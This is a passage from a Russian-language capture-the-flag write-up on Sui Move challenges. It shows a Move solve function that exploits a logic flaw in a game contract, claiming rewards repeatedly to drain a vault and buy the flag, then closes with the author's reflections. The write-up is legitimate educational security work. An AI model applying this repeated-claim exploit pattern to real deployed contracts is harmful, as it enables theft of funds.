Но - в-третьих - **благодаря пункту 3 мы уже знаем, как устроить эту очередь**! Впрочем, как и в Dark BrOTTERhood, нам придется замарать руки и честно справиться с одним монстром, чтобы правильно обойти состояния в первый раз - к сожалению, мы никак не можем использовать для этого первый баг, поскольку `TawerTicket` должен быть использован корректно. Но этого и не нужно - начального капитала вполне хватит для первого сражения. Достаточно только купить меч и набрать полный контингент обманутых монстров при первом проходе через `find_a_monster()`:

public fun solve(
    _board: &mut Otter::QuestBoard,
    _vault: &mut Otter::Vault<OTTER>,
    _player: &mut Otter::Player,
    _ctx: &mut TxContext
) {
    let mut ticket = Otter::enter_tavern(_player);
    Otter::buy_sword(_player, &mut ticket);
    Otter::checkout(ticket, _player, _ctx, _vault, _board);
    
    let mut i = 0;
    loop {
        Otter::find_a_monster(_board, _player);
        i = i + 1;
        if (i == 25) break;
    };
    
    Otter::bring_it_on(_board, _player, 0);
    Otter::return_home(_board, _player);
    Otter::get_the_reward(_vault, _board, _player, _ctx);

    i = 0;
    loop {
        let mut ticket = Otter::enter_tavern(_player);
        Otter::buy_shield(_player, &mut ticket);
        Otter::get_the_reward(_vault, _board, _player, _ctx);
        Otter::checkout(ticket, _player, _ctx, _vault, _board);
        i = i + 1;
        if (i == 24) break;
    };
        
    let mut ticket = Otter::enter_tavern(_player);
    Otter::buy_flag(&mut ticket, _player);
    Otter::checkout(ticket, _player, _ctx, _vault, _board);
}

Провернув знакомую процедуру, получаем третий и последний флаг в категории.

Заключение

Как видно, логические уязвимости в этой серии не имели прямого отношения к Move (пожалуй, за исключением ограничения на недоиспользование `TawernTicket` в третьей, что усложнило возможное решение) - в принципе, задачи могли бы быть реализованы в виде стандартных оффчейновых сервисов. Впрочем, оформлены они были хорошо, решать их было удобно, а повозиться с Sui любопытно, и это принесло здесь 792 из 1325 набранных мной очков - а кроме того, будет хорошей подготовкой к следующему MoveCTF.

Рустам Гусейнов

председатель кооператива РАД КОП

Так, на примере трех относительно несложных задач, мы видим как «пугающий блокчейн», при некотором минимальном освоении, превращается из неведомой и сложной истории во вполне решаемую задачу. А дополнительно понимаем ценность «выхода за рамки» и «захода на неизведанные территории», которые и являются сутью хакерского мышления, и которые будучи последовательно применены к разным областям жизни могут привести к интересным результатам…. В прочем об этом поговорим в других материалах =)

Комментарии (0)